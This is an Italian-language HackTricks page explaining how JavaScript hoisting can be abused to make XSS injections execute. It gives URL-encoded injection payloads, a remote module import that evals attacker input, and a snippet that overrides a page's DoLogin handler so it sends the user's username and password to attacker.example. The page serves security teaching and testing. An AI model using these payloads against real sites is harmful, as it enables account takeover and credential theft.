JS Hoisting

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Nel linguaggio JavaScript esiste un meccanismo chiamato Hoisting in cui le dichiarazioni di variabili, funzioni, classi o import vengono concettualmente sollevate all'inizio del loro ambito prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi.

Durante il primo passaggio, il motore esegue il parsing del codice per verificare errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include lo hoisting, un processo in cui alcune dichiarazioni vengono spostate all'inizio del contesto di esecuzione. Se la fase di parsing ha successo, indicando l'assenza di errori di sintassi, l'esecuzione dello script procede.

È cruciale comprendere che:

  1. Lo script deve essere privo di errori di sintassi perché l'esecuzione abbia luogo. Le regole di sintassi devono essere rispettate rigorosamente.
  2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa dello hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale.

Tipi di Hoisting

Secondo MDN, ci sono quattro tipi distinti di hoisting in JavaScript:

  1. Value Hoisting: Permette di usare il valore di una variabile all'interno del suo ambito prima della sua riga di dichiarazione.
  2. Declaration Hoisting: Permette di riferirsi a una variabile all'interno del suo ambito prima della sua dichiarazione senza causare un ReferenceError, ma il valore della variabile sarà undefined.
  3. Questo tipo modifica il comportamento all'interno del suo ambito perché la dichiarazione della variabile avviene prima della sua effettiva riga di dichiarazione.
  4. Gli effetti collaterali della dichiarazione si verificano prima che il resto del codice che la contiene venga valutato.

Nello specifico, le dichiarazioni di funzione mostrano il comportamento di hoisting di tipo 1. La keyword var mostra il comportamento di tipo 2. Le dichiarazioni lessicali, che includono let, const e class, mostrano il comportamento di tipo 3. Infine, le istruzioni import sono uniche in quanto vengono hoisted con i comportamenti sia di tipo 1 sia di tipo 4.

Scenari

Pertanto, se ti trovi in scenari in cui puoi Inject JS code after an undeclared object is used, potresti fix the syntax dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore):

javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Altri scenari

javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Anticipare dichiarazioni successive bloccando un nome con const

Se puoi eseguire del codice prima che una function foo(){...} di livello top venga parsata, dichiarare un binding lessicale con lo stesso nome (es., const foo = ...) impedirà alla successiva dichiarazione di funzione di riassegnare quell'identificatore. Questo può essere sfruttato in RXSS per dirottare handler critici definiti più avanti nella pagina:

javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Note

  • Questo si basa sull'ordine di esecuzione e sullo scope globale (top-level).
  • Se il tuo payload viene eseguito all'interno di eval(), ricordati che const/let dentro eval sono a livello di blocco e non creeranno binding globali. Inserisci un nuovo elemento <script> con il codice per stabilire un vero const globale.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks